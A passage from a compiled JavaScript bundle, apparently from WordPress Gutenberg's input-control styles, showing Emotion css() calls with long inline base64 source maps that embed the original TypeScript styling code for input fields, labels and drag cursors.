5cdH1cblxuXHRyZXR1cm4gY3NzYFxuXHRcdGZvbnQtc2l6ZTogJHsgZm9udFNpemVNb2JpbGUgfTtcblxuXHRcdEBtZWRpYSAoIG1pbi13aWR0aDogNjAwcHggKSB7XG5cdFx0XHRmb250LXNpemU6ICR7IGZvbnRTaXplIH07XG5cdFx0fVxuXHRgO1xufTtcblxuZXhwb3J0IGNvbnN0IGdldFNpemVDb25maWcgPSAoIHtcblx0aW5wdXRTaXplOiBzaXplLFxuXHRfX25leHQ0MHB4RGVmYXVsdFNpemUsXG59OiBJbnB1dFByb3BzICkgPT4ge1xuXHQvLyBQYWRkaW5ncyBtYXkgYmUgb3ZlcnJpZGRlbiBieSB0aGUgY3VzdG9tIHBhZGRpbmdzIHByb3BzLlxuXHRjb25zdCBzaXplcyA9IHtcblx0XHRkZWZhdWx0OiB7XG5cdFx0XHRoZWlnaHQ6IDQwLFxuXHRcdFx0bGluZUhlaWdodDogMSxcblx0XHRcdG1pbkhlaWdodDogNDAsXG5cdFx0XHRwYWRkaW5nTGVmdDogQ09ORklHLmNvbnRyb2xQYWRkaW5nWCxcblx0XHRcdHBhZGRpbmdSaWdodDogQ09ORklHLmNvbnRyb2xQYWRkaW5nWCxcblx0XHR9LFxuXHRcdHNtYWxsOiB7XG5cdFx0XHRoZWlnaHQ6IDI0LFxuXHRcdFx0bGluZUhlaWdodDogMSxcblx0XHRcdG1pbkhlaWdodDogMjQsXG5cdFx0XHRwYWRkaW5nTGVmdDogQ09ORklHLmNvbnRyb2xQYWRkaW5nWFNtYWxsLFxuXHRcdFx0cGFkZGluZ1JpZ2h0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYU21hbGwsXG5cdFx0fSxcblx0XHRjb21wYWN0OiB7XG5cdFx0XHRoZWlnaHQ6IDMyLFxuXHRcdFx0bGluZUhlaWdodDogMSxcblx0XHRcdG1pbkhlaWdodDogMzIsXG5cdFx0XHRwYWRkaW5nTGVmdDogQ09ORklHLmNvbnRyb2xQYWRkaW5nWFNtYWxsLFxuXHRcdFx0cGFkZGluZ1JpZ2h0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYU21hbGwsXG5cdFx0fSxcblx0XHQnX191bnN0YWJsZS1sYXJnZSc6IHtcblx0XHRcdGhlaWdodDogNDAsXG5cdFx0XHRsaW5lSGVpZ2h0OiAxLFxuXHRcdFx0bWluSGVpZ2h0OiA0MCxcblx0XHRcdHBhZGRpbmdMZWZ0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYLFxuXHRcdFx0cGFkZGluZ1JpZ2h0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYLFxuXHRcdH0sXG5cdH07XG5cblx0aWYgKCAhIF9fbmV4dDQwcHhEZWZhdWx0U2l6ZSApIHtcblx0XHRzaXplcy5kZWZhdWx0ID0gc2l6ZXMuY29tcGFjdDtcblx0fVxuXG5cdHJldHVybiBzaXplc1sgc2l6ZSBhcyBTaXplIF0gfHwgc2l6ZXMuZGVmYXVsdDtcbn07XG5cbmNvbnN0IHNpemVTdHlsZXMgPSAoIHByb3BzOiBJbnB1dFByb3BzICkgPT4ge1xuXHRyZXR1cm4gY3NzKCBnZXRTaXplQ29uZmlnKCBwcm9wcyApICk7XG59O1xuXG5jb25zdCBjdXN0b21QYWRkaW5ncyA9ICgge1xuXHRwYWRkaW5nSW5saW5lU3RhcnQsXG5cdHBhZGRpbmdJbmxpbmVFbmQsXG59OiBJbnB1dFByb3BzICkgPT4ge1xuXHRyZXR1cm4gY3NzKCB7IHBhZGRpbmdJbmxpbmVTdGFydCwgcGFkZGluZ0lubGluZUVuZCB9ICk7XG59O1xuXG5jb25zdCBkcmFnU3R5bGVzID0gKCB7IGlzRHJhZ2dpbmcsIGRyYWdDdXJzb3IgfTogSW5wdXRQcm9wcyApID0+IHtcblx0bGV0IGRlZmF1bHRBcnJvd1N0eWxlczogU2VyaWFsaXplZFN0eWxlcyB8IHVuZGVmaW5lZDtcblx0bGV0IGFjdGl2ZURyYWdDdXJzb3JTdHlsZXM6IFNlcmlhbGl6ZWRTdHlsZXMgfCB1bmRlZmluZWQ7XG5cblx0aWYgKCBpc0RyYWdnaW5nICkge1xuXHRcdGRlZmF1bHRBcnJvd1N0eWxlcyA9IGNzc2Bcblx0XHRcdGN1cnNvcjogJHsgZHJhZ0N1cnNvciB9O1xuXHRcdFx0dXNlci1zZWxlY3Q6IG5vbmU7XG5cblx0XHRcdCY6Oi13ZWJraXQtb3V0ZXItc3Bpbi1idXR0b24sXG5cdFx0XHQmOjotd2Via2l0LWlubmVyLXNwaW4tYnV0dG9uIHtcblx0XHRcdFx0LXdlYmtpdC1hcHBlYXJhbmNlOiBub25lICFpbXBvcnRhbnQ7XG5cdFx0XHRcdG1hcmdpbjogMCAhaW1wb3J0YW50O1xuXHRcdFx0fVxuXHRcdGA7XG5cdH1cblxuXHRpZiAoIGlzRHJhZ2dpbmcgJiYgZHJhZ0N1cnNvciApIHtcblx0XHRhY3RpdmVEcmFnQ3Vyc29yU3R5bGVzID0gY3NzYFxuXHRcdFx0JjphY3RpdmUge1xuXHRcdFx0XHRjdXJzb3I6ICR7IGRyYWdDdXJzb3IgfTtcblx0XHRcdH1cblx0XHRgO1xuXHR9XG5cblx0cmV0dXJuIGNzc2Bcblx0XHQkeyBkZWZhdWx0QXJyb3dTdHlsZXMgfVxuXHRcdCR7IGFjdGl2ZURyYWdDdXJzb3JTdHlsZXMgfVxuXHRgO1xufTtcblxuLy8gVE9ETzogUmVzb2x2ZSBuZWVkIHRvIHVzZSAmJiYgdG8gaW5jcmVhc2Ugc3BlY2lmaWNpdHlcbi8vIGh0dHBzOi8vZ2l0aHViLmNvbS9Xb3JkUHJlc3MvZ3V0ZW5iZXJnL2lzc3Vlcy8xODQ4M1xuXG5leHBvcnQgY29uc3QgSW5wdXQgPSBzdHlsZWQuaW5wdXQ8IElucHV0UHJvcHMgPmBcblx0JiYmIHtcblx0XHRiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDtcblx0XHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRcdGJvcmRlcjogbm9uZTtcblx0XHRib3gtc2hhZG93OiBub25lICFpbXBvcnRhbnQ7XG5cdFx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5mb3JlZ3JvdW5kIH07XG5cdFx0ZGlzcGxheTogYmxvY2s7XG5cdFx0Zm9udC1mYW1pbHk6IGluaGVyaXQ7XG5cdFx0bWFyZ2luOiAwO1xuXHRcdG91dGxpbmU6IG5vbmU7XG5cdFx0d2lkdGg6IDEwMCU7XG5cblx0XHQkeyBkcmFnU3R5bGVzIH1cblx0XHQkeyBkaXNhYmxlZFN0eWxlcyB9XG5cdFx0JHsgZm9udFNpemVTdHlsZXMgfVxuXHRcdCR7IHNpemVTdHlsZXMgfVxuXHRcdCR7IGN1c3RvbVBhZGRpbmdzIH1cblxuXHRcdCY6Oi13ZWJraXQtaW5wdXQtcGxhY2Vob2xkZXIge1xuXHRcdFx0Y29sb3I6ICR7IENPTE9SUy51aS5kYXJrR3JheVBsYWNlaG9sZGVyIH07XG5cdFx0fVxuXG5cdFx0Jjo6LW1vei1wbGFjZWhvbGRlciB7XG5cdFx0XHRjb2xvcjogJHsgQ09MT1JTLnVpLmRhcmtHcmF5UGxhY2Vob2xkZXIgfTtcblx0XHR9XG5cblx0XHQmOi1tcy1pbnB1dC1wbGFjZWhvbGRlciB7XG5cdFx0XHRjb2xvcjogJHsgQ09MT1JTLnVpLmRhcmtHcmF5UGxhY2Vob2xkZXIgfTtcblx0XHR9XG5cblx0XHQmW3R5cGU9J2VtYWlsJ10sXG5cdFx0Jlt0eXBlPSd1cmwnXSB7XG5cdFx0XHQvKiBydGw6aWdub3JlICovXG5cdFx0XHRkaXJlY3Rpb246IGx0cjtcblx0XHR9XG5cdH1cbmA7XG5cbmNvbnN0IEJhc2VMYWJlbCA9IHN0eWxlZCggVGV4dCApPCB7IGxhYmVsUG9zaXRpb24/OiBMYWJlbFBvc2l0aW9uIH0gPmBcblx0JiYmIHtcblx0XHQkeyBiYXNlTGFiZWxUeXBvZ3JhcGh5IH07XG5cblx0XHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRcdGRpc3BsYXk6IGJsb2NrO1xuXHRcdHBhZGRpbmctdG9wOiAwO1xuXHRcdHBhZGRpbmctYm90dG9tOiAwO1xuXHRcdG1heC13aWR0aDogMTAwJTtcblx0XHR6LWluZGV4OiAxO1xuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgTGFiZWwgPSAoXG5cdHByb3BzOiBXb3JkUHJlc3NDb21wb25lbnRQcm9wczxcblx0XHR7IGxhYmVsUG9zaXRpb24/OiBMYWJlbFBvc2l0aW9uOyBjaGlsZHJlbjogUmVhY3ROb2RlIH0sXG5cdFx0J2xhYmVsJyxcblx0XHRmYWxzZVxuXHQ+XG4pID0+IDxCYXNlTGFiZWwgeyAuLi5wcm9wcyB9IGFzPVwibGFiZWxcIiAvPjtcblxuZXhwb3J0IGNvbnN0IExhYmVsV3JhcHBlciA9IHN0eWxlZCggRmxleEl0ZW0gKWBcblx0bWF4LXdpZHRoOiBjYWxjKCAxMDAlIC0gMTBweCApO1xuYDtcblxuY29uc3QgcHJlZml4U3VmZml4V3JhcHBlclN0eWxlcyA9ICgge1xuXHR2YXJpYW50ID0gJ2RlZmF1bHQnLFxuXHRzaXplLFxuXHRfX25leHQ0MHB4RGVmYXVsdFNpemUsXG5cdGlzUHJlZml4LFxufTogUHJlZml4U3VmZml4V3JhcHBlclByb3BzICYgeyBpc1ByZWZpeD86IGJvb2xlYW4gfSApID0+IHtcblx0Y29uc3QgeyBwYWRkaW5nTGVmdDogcGFkZGluZyB9ID0gZ2V0U2l6ZUNvbmZpZygge1xuXHRcdGlucHV0U2l6ZTogc2l6ZSxcblx0XHRfX25leHQ0MHB4RGVmYXVsdFNpemUsXG5cdH0gKTtcblxuXHRjb25zdCBwYWRkaW5nUHJvcGVydHkgPSBpc1ByZWZpeFxuXHRcdD8gJ3BhZGRpbmdJbmxpbmVTdGFydCdcblx0XHQ6ICdwYWRkaW5nSW5saW5lRW5kJztcblxuXHRpZiAoIHZhcmlhbnQgPT09ICdkZWZhdWx0JyApIHtcblx0XHRyZXR1cm4gY3NzKCB7XG5cdFx0XHRbIHBhZGRpbmdQcm9wZXJ0eSBdOiBwYWRkaW5nLFxuXHRcdH0gKTtcblx0fVxuXG5cdC8vIElmIHZhcmlhbnQgaXMgJ2ljb24nIG9yICdjb250cm9sJ1xuXHRyZXR1cm4gY3NzKCB7XG5cdFx0ZGlzcGxheTogJ2ZsZXgnLFxuXHRcdFsgcGFkZGluZ1Byb3BlcnR5IF06IHBhZGRpbmcgLSA0LFxuXHR9ICk7XG59O1xuXG5leHBvcnQgY29uc3QgUHJlZml4U3VmZml4V3JhcHBlciA9IHN0eWxlZC5kaXZgXG5cdCR7IHByZWZpeFN1ZmZpeFdyYXBwZXJTdHlsZXMgfVxuYDtcbiJdfQ== */");
24614 }
24615 if (isDragging2 && dragCursor) {
24616 activeDragCursorStyles = /* @__PURE__ */ css("&:active{cursor:", dragCursor, ";}" + (false ? "" : ";label:activeDragCursorStyles;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImlucHV0LWNvbnRyb2wtc3R5bGVzLnRzeCJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUEyUDhCIiwiZmlsZSI6ImlucHV0LWNvbnRyb2wtc3R5bGVzLnRzeCIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB0eXBlIHsgU2VyaWFsaXplZFN0eWxlcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcbmltcG9ydCB0eXBlIHsgQ1NTUHJvcGVydGllcywgUmVhY3ROb2RlIH0gZnJvbSAncmVhY3QnO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgdHlwZSB7IFdvcmRQcmVzc0NvbXBvbmVudFByb3BzIH0gZnJvbSAnLi4vLi4vY29udGV4dCc7XG5pbXBvcnQgeyBGbGV4LCBGbGV4SXRlbSB9IGZyb20gJy4uLy4uL2ZsZXgnO1xuaW1wb3J0IHsgVGV4dCB9IGZyb20gJy4uLy4uL3RleHQnO1xuaW1wb3J0IHsgYmFzZUxhYmVsVHlwb2dyYXBoeSwgQ09MT1JTLCBDT05GSUcsIHJ0bCB9IGZyb20gJy4uLy4uL3V0aWxzJztcbmltcG9ydCB0eXBlIHsgTGFiZWxQb3NpdGlvbiwgU2l6ZSwgUHJlZml4U3VmZml4V3JhcHBlclByb3BzIH0gZnJvbSAnLi4vdHlwZXMnO1xuXG50eXBlIENvbnRhaW5lclByb3BzID0ge1xuXHRkaXNhYmxlZD86IGJvb2xlYW47XG5cdGhpZGVMYWJlbD86IGJvb2xlYW47XG5cdF9fdW5zdGFibGVJbnB1dFdpZHRoPzogQ1NTUHJvcGVydGllc1sgJ3dpZHRoJyBdO1xuXHRsYWJlbFBvc2l0aW9uPzogTGFiZWxQb3NpdGlvbjtcbn07XG5cbmV4cG9ydCBjb25zdCBQcmVmaXggPSBzdHlsZWQuc3BhbmBcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0ZGlzcGxheTogYmxvY2s7XG5gO1xuXG5leHBvcnQgY29uc3QgU3VmZml4ID0gc3R5bGVkLnNwYW5gXG5cdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cdGFsaWduLXNlbGY6IHN0cmV0Y2g7XG5cdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdGRpc3BsYXk6IGZsZXg7XG5gO1xuXG50eXBlIEJhY2tkcm9wUHJvcHMgPSB7XG5cdGRpc2FibGVkPzogYm9vbGVhbjtcblx0aXNCb3JkZXJsZXNzPzogYm9vbGVhbjtcbn07XG5cbmNvbnN0IGJhY2tkcm9wQm9yZGVyQ29sb3IgPSAoIHtcblx0ZGlzYWJsZWQsXG5cdGlzQm9yZGVybGVzcyxcbn06IEJhY2tkcm9wUHJvcHMgKTogQ1NTUHJvcGVydGllc1sgJ2JvcmRlckNvbG9yJyBdID0+IHtcblx0aWYgKCBpc0JvcmRlcmxlc3MgKSB7XG5cdFx0cmV0dXJuICd0cmFuc3BhcmVudCc7XG5cdH1cblxuXHRpZiAoIGRpc2FibGVkICkge1xuXHRcdHJldHVybiBDT0xPUlMudWkuYm9yZGVyRGlzYWJsZWQ7XG5cdH1cblxuXHRyZXR1cm4gQ09MT1JTLnVpLmJvcmRlcjtcbn07XG5cbmV4cG9ydCBjb25zdCBCYWNrZHJvcFVJID0gc3R5bGVkLmRpdjwgQmFja2Ryb3BQcm9wcyA+YFxuXHQmJiYge1xuXHRcdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdFx0Ym9yZGVyLWNvbG9yOiAkeyBiYWNrZHJvcEJvcmRlckNvbG9yIH07XG5cdFx0Ym9yZGVyLXJhZGl1czogaW5oZXJpdDtcblx0XHRib3JkZXItc3R5bGU6IHNvbGlkO1xuXHRcdGJvcmRlci13aWR0aDogMXB4O1xuXHRcdGJvdHRvbTogMDtcblx0XHRsZWZ0OiAwO1xuXHRcdG1hcmdpbjogMDtcblx0XHRwYWRkaW5nOiAwO1xuXHRcdHBvaW50ZXItZXZlbnRzOiBub25lO1xuXHRcdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0XHRyaWdodDogMDtcblx0XHR0b3A6IDA7XG5cblx0XHQkeyBydGwoIHsgcGFkZGluZ0xlZnQ6IDIgfSApIH1cblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IFJvb3QgPSBzdHlsZWQoIEZsZXggKWBcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0cG9zaXRpb246IHJlbGF0aXZlO1xuXHRib3JkZXItcmFkaXVzOiAkeyBDT05GSUcucmFkaXVzU21hbGwgfTtcblx0cGFkZGluZy10b3A6IDA7XG5cblx0Ly8gRm9jdXMgd2l0aGluLCBleGNsdWRpbmcgY2FzZXMgd2hlcmUgYXV4aWxpYXJ5IGNvbnRyb2xzIGluIHByZWZpeCBvciBzdWZmaXggaGF2ZSBmb2N1cy5cblx0Jjpmb2N1cy13aXRoaW46bm90KCA6aGFzKCA6aXMoICR7IFByZWZpeCB9LCAkeyBTdWZmaXggfSApOmZvY3VzLXdpdGhpbiApICkge1xuXHRcdCR7IEJhY2tkcm9wVUkgfSB7XG5cdFx0XHRib3JkZXItY29sb3I6ICR7IENPTE9SUy51aS5ib3JkZXJGb2N1cyB9O1xuXHRcdFx0Ym94LXNoYWRvdzogJHsgQ09ORklHLmNvbnRyb2xCb3hTaGFkb3dGb2N1cyB9O1xuXHRcdFx0Ly8gV2luZG93cyBIaWdoIENvbnRyYXN0IG1vZGUgd2lsbCBzaG93IHRoaXMgb3V0bGluZSwgYnV0IG5vdCB0aGUgYm94LXNoYWRvdy5cblx0XHRcdG91dGxpbmU6IDJweCBzb2xpZCB0cmFuc3BhcmVudDtcblx0XHRcdG91dGxpbmUtb2Zmc2V0OiAtMnB4O1xuXHRcdH1cblx0fVxuYDtcblxuY29uc3QgY29udGFpbmVyRGlzYWJsZWRTdHlsZXMgPSAoIHsgZGlzYWJsZWQgfTogQ29udGFpbmVyUHJvcHMgKSA9PiB7XG5cdGNvbnN0IGJhY2tncm91bmRDb2xvciA9IGRpc2FibGVkXG5cdFx0PyBDT0xPUlMudWkuYmFja2dyb3VuZERpc2FibGVkXG5cdFx0OiBDT0xPUlMudWkuYmFja2dyb3VuZDtcblxuXHRyZXR1cm4gY3NzKCB7IGJhY2tncm91bmRDb2xvciB9ICk7XG59O1xuXG5jb25zdCBjb250YWluZXJXaWR0aFN0eWxlcyA9ICgge1xuXHRfX3Vuc3RhYmxlSW5wdXRXaWR0aCxcblx0bGFiZWxQb3NpdGlvbixcbn06IENvbnRhaW5lclByb3BzICkgPT4ge1xuXHRpZiAoICEgX191bnN0YWJsZUlucHV0V2lkdGggKSB7XG5cdFx0cmV0dXJuIGNzcyggeyB3aWR0aDogJzEwMCUnIH0gKTtcblx0fVxuXG5cdGlmICggbGFiZWxQb3NpdGlvbiA9PT0gJ3NpZGUnICkge1xuXHRcdHJldHVybiAnJztcblx0fVxuXG5cdGlmICggbGFiZWxQb3NpdGlvbiA9PT0gJ2VkZ2UnICkge1xuXHRcdHJldHVybiBjc3MoIHtcblx0XHRcdGZsZXg6IGAwIDAgJHsgX191bnN0YWJsZUlucHV0V2lkdGggfWAsXG5cdFx0fSApO1xuXHR9XG5cblx0cmV0dXJuIGNzcyggeyB3aWR0aDogX191bnN0YWJsZUlucHV0V2lkdGggfSApO1xufTtcblxuZXhwb3J0IGNvbnN0IENvbnRhaW5lciA9IHN0eWxlZC5kaXY8IENvbnRhaW5lclByb3BzID5gXG5cdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdGJvcmRlci1yYWRpdXM6IGluaGVyaXQ7XG5cdGRpc3BsYXk6IGZsZXg7XG5cdGZsZXg6IDE7XG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblxuXHQkeyBjb250YWluZXJEaXNhYmxlZFN0eWxlcyB9XG5cdCR7IGNvbnRhaW5lcldpZHRoU3R5bGVzIH1cbmA7XG5cbnR5cGUgSW5wdXRQcm9wcyA9IHtcblx0X19uZXh0NDBweERlZmF1bHRTaXplPzogYm9vbGVhbjtcblx0ZGlzYWJsZWQ/OiBib29sZWFuO1xuXHRpbnB1dFNpemU/OiBTaXplO1xuXHRpc0RyYWdnaW5nPzogYm9vbGVhbjtcblx0ZHJhZ0N1cnNvcj86IENTU1Byb3BlcnRpZXNbICdjdXJzb3InIF07XG5cdHBhZGRpbmdJbmxpbmVTdGFydD86IENTU1Byb3BlcnRpZXNbICdwYWRkaW5nSW5saW5lU3RhcnQnIF07XG5cdHBhZGRpbmdJbmxpbmVFbmQ/OiBDU1NQcm9wZXJ0aWVzWyAncGFkZGluZ0lubGluZUVuZCcgXTtcbn07XG5cbmNvbnN0IGRpc2FibGVkU3R5bGVzID0gKCB7IGRpc2FibGVkIH06IElucHV0UHJvcHMgKSA9PiB7XG5cdGlmICggISBkaXNhYmxlZCApIHtcblx0XHRyZXR1cm4gJyc7XG5cdH1cblxuXHRyZXR1cm4gY3NzKCB7XG5cdFx0Y29sb3I6IENPTE9SUy51aS50ZXh0RGlzYWJsZWQsXG5cdH0gKTtcbn07XG5cbmV4cG9ydCBjb25zdCBmb250U2l6ZVN0eWxlcyA9ICggeyBpbnB1dFNpemU6IHNpemUgfTogSW5wdXRQcm9wcyApID0+IHtcblx0Y29uc3Qgc2l6ZXMgPSB7XG5cdFx0ZGVmYXVsdDogJzEzcHgnLFxuXHRcdHNtYWxsOiAnMTFweCcsXG5cdFx0Y29tcGFjdDogJzEzcHgnLFxuXHRcdCdfX3Vuc3RhYmxlLWxhcmdlJzogJzEzcHgnLFxuXHR9O1xuXG5cdGNvbnN0IGZvbnRTaXplID0gc2l6ZXNbIHNpemUgYXMgU2l6ZSBdIHx8IHNpemVzLmRlZmF1bHQ7XG5cdGNvbnN0IGZvbnRTaXplTW9iaWxlID0gJzE2cHgnO1xuXG5cdGlmICggISBmb250U2l6ZSApIHtcblx0XHRyZXR1cm4gJyc7XG5cdH1cblxuXHRyZXR1cm4gY3NzYFxuXHRcdGZvbnQtc2l6ZTogJHsgZm9udFNpemVNb2JpbGUgfTtcblxuXHRcdEBtZWRpYSAoIG1pbi13aWR0aDogNjAwcHggKSB7XG5cdFx0XHRmb250LXNpemU6ICR7IGZvbnRTaXplIH07XG5cdFx0fVxuXHRgO1xufTtcblxuZXhwb3J0IGNvbnN0IGdldFNpemVDb25maWcgPSAoIHtcblx0aW5wdXRTaXplOiBzaXplLFxuXHRfX25leHQ0MHB4RGVmYXVsdFNpemUsXG59OiBJbnB1dFByb3BzICkgPT4ge1xuXHQvLyBQYWRkaW5ncyBtYXkgYmUgb3ZlcnJpZGRlbiBieSB0aGUgY3VzdG9tIHBhZGRpbmdzIHByb3BzLlxuXHRjb25zdCBzaXplcyA9IHtcblx0XHRkZWZhdWx0OiB7XG5cdFx0XHRoZWlnaHQ6IDQwLFxuXHRcdFx0bGluZUhlaWdodDogMSxcblx0XHRcdG1pbkhlaWdodDogNDAsXG5cdFx0XHRwYWRkaW5nTGVmdDogQ09ORklHLmNvbnRyb2xQYWRkaW5nWCxcblx0XHRcdHBhZGRpbmdSaWdodDogQ09ORklHLmNvbnRyb2xQYWRkaW5nWCxcblx0XHR9LFxuXHRcdHNtYWxsOiB7XG5cdFx0XHRoZWlnaHQ6IDI0LFxuXHRcdFx0bGluZUhlaWdodDogMSxcblx0XHRcdG1pbkhlaWdodDogMjQsXG5cdFx0XHRwYWRkaW5nTGVmdDogQ09ORklHLmNvbnRyb2xQYWRkaW5nWFNtYWxsLFxuXHRcdFx0cGFkZGluZ1JpZ2h0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYU21hbGwsXG5cdFx0fSxcblx0XHRjb21wYWN0OiB7XG5cdFx0XHRoZWlnaHQ6IDMyLFxuXHRcdFx0bGluZUhlaWdodDogMSxcblx0XHRcdG1pbkhlaWdodDogMzIsXG5cdFx0XHRwYWRkaW5nTGVmdDogQ09ORklHLmNvbnRyb2xQYWRkaW5nWFNtYWxsLFxuXHRcdFx0cGFkZGluZ1JpZ2h0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYU21hbGwsXG5cdFx0fSxcblx0XHQnX191bnN0YWJsZS1sYXJnZSc6IHtcblx0XHRcdGhlaWdodDogNDAsXG5cdFx0XHRsaW5lSGVpZ2h0OiAxLFxuXHRcdFx0bWluSGVpZ2h0OiA0MCxcblx0XHRcdHBhZGRpbmdMZWZ0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYLFxuXHRcdFx0cGFkZGluZ1JpZ2h0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYLFxuXHRcdH0sXG5cdH07XG5cblx0aWYgKCAhIF9fbmV4dDQwcHhEZWZhdWx0U2l6ZSApIHtcblx0XHRzaXplcy5kZWZhdWx0ID0gc2l6ZXMuY29tcGFjdDtcblx0fVxuXG5cdHJldHVybiBzaXplc1sgc2l6ZSBhcyBTaXplIF0gfHwgc2l6ZXMuZGVmYXVsdDtcbn07XG5cbmNvbnN0IHNpemVTdHlsZXMgPSAoIHByb3BzOiBJbnB1dFByb3BzICkgPT4ge1xuXHRyZXR1cm4gY3NzKCBnZXRTaXplQ29uZmlnKCBwcm9wcyApICk7XG59O1xuXG5jb25zdCBjdXN0b21QYWRkaW5ncyA9ICgge1xuXHRwYWRkaW5nSW5saW5lU3RhcnQsXG5cdHBhZGRpbmdJbmxpbmVFbmQsXG59OiBJbnB1dFByb3BzICkgPT4ge1xuXHRyZXR1cm4gY3NzKCB7IHBhZGRpbmdJbmxpbmVTdGFydCwgcGFkZGluZ0lubGluZUVuZCB9ICk7XG59O1xuXG5jb25zdCBkcmFnU3R5bGVzID0gKCB7IGlzRHJhZ2dpbmcsIGRyYWdDdXJzb3IgfTogSW5wdXRQcm9wcyApID0+IHtcblx0bGV0IGRlZmF1bHRBcnJvd1N0eWxlczogU2VyaWFsaXplZFN0eWxlcyB8IHVuZGVmaW5lZDtcblx0bGV0IGFjdGl2ZURyYWdDdXJzb3JTdHlsZXM6IFNlcmlhbGl6ZWRTdHlsZXMgfCB1bmRlZmluZWQ7XG5cblx0aWYgKCBpc0RyYWdnaW5nICkge1xuXHRcdGRlZmF1bHRBcnJvd1N0eWxlcyA9IGNzc2Bcblx0XHRcdGN1cnNvcjogJHsgZHJhZ0N1cnNvciB9O1xuXHRcdFx0dXNlci1zZWxlY3Q6IG5vbmU7XG5cblx0XHRcdCY6Oi13ZWJraXQtb3V0ZXItc3Bpbi1idXR0b24sXG5cdFx0XHQmOjotd2Via2l0LWlubmVyLXNwaW4tYnV0dG9uIHtcblx0XHRcdFx0LXdlYmtpdC1hcHBlYXJhbmNlOiBub25lICFpbXBvcnRhbnQ7XG5cdFx0XHRcdG1hcmdpbjogMCAhaW1wb3J0YW50O1xuXHRcdFx0fVxuXHRcdGA7XG5cdH1cblxuXHRpZiAoIGlzRHJhZ2dpbmcgJiYgZHJhZ0N1cnNvciApIHtcblx0XHRhY3RpdmVEcmFnQ3Vyc29yU3R5bGVzID0gY3NzYFxuXHRcdFx0JjphY3RpdmUge1xuXHRcdFx0XHRjdXJzb3I6ICR7IGRyYWdDdXJzb3IgfTtcblx0XHRcdH1cblx0XHRgO1xuXHR9XG5cblx0cmV0dXJuIGNzc2Bcblx0XHQkeyBkZWZhdWx0QXJyb3dTdHlsZXMgfVxuXHRcdCR7IGFjdGl2ZURyYWdDdXJzb3JTdHlsZXMgfVxuXHRgO1xufTtcblxuLy8gVE9ETzogUmVzb2x2ZSBuZWVkIHRvIHVzZSAmJiYgdG8gaW5jcmVhc2Ugc3BlY2lmaWNpdHlcbi8vIGh0dHBzOi8vZ2l0aHViLmNvbS9Xb3JkUHJlc3MvZ3V0ZW5iZXJnL2lzc3Vlcy8xODQ4M1xuXG5leHBvcnQgY29uc3QgSW5wdXQgPSBzdHlsZWQuaW5wdXQ8IElucHV0UHJvcHMgPmBcblx0JiYmIHtcblx0XHRiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDtcblx0XHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRcdGJvcmRlcjogbm9uZTtcblx0XHRib3gtc2hhZG93OiBub25lICFpbXBvcnRhbnQ7XG5cdFx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5mb3JlZ3JvdW5kIH07XG5cdFx0ZGlzcGxheTogYmxvY2s7XG5cdFx0Zm9udC1mYW1pbHk6IGluaGVyaXQ7XG5cdFx0bWFyZ2luOiAwO1xuXHRcdG91dGxpbmU6IG5vbmU7XG5cdFx0d2lkdGg6IDEwMCU7XG5cblx0XHQkeyBkcmFnU3R5bGVzIH1cblx0XHQkeyBkaXNhYmxlZFN0eWxlcyB9XG5cdFx0JHsgZm9udFNpemVTdHlsZXMgfVxuXHRcdCR7IHNpemVTdHlsZXMgfVxuXHRcdCR7IGN1c3RvbVBhZGRpbmdzIH1cblxuXHRcdCY6Oi13ZWJraXQtaW5wdXQtcGxhY2Vob2xkZXIge1xuXHRcdFx0Y29sb3I6ICR7IENPTE9SUy51aS5kYXJrR3JheVBsYWNlaG9sZGVyIH07XG5cdFx0fVxuXG5cdFx0Jjo6LW1vei1wbGFjZWhvbGRlciB7XG5cdFx0XHRjb2xvcjogJHsgQ09MT1JTLnVpLmRhcmtHcmF5UGxhY2Vob2xkZXIgfTtcblx0XHR9XG5cblx0XHQmOi1tcy1pbnB1dC1wbGFjZWhvbGRlciB7XG5cdFx0XHRjb2xvcjogJHsgQ09MT1JTLnVpLmRhcmtHcmF5UGxhY2Vob2xkZXIgfTtcblx0XHR9XG5cblx0XHQmW3R5cGU9J2VtYWlsJ10sXG5cdFx0Jlt0eXBlPSd1cmwnXSB7XG5cdFx0XHQvKiBydGw6aWdub3JlICovXG5cdFx0XHRkaXJlY3Rpb246IGx0cjtcblx0XHR9XG5cdH1cbmA7XG5cbmNvbnN0IEJhc2VMYWJlbCA9IHN0eWxlZCggVGV4dCApPCB7IGxhYmVsU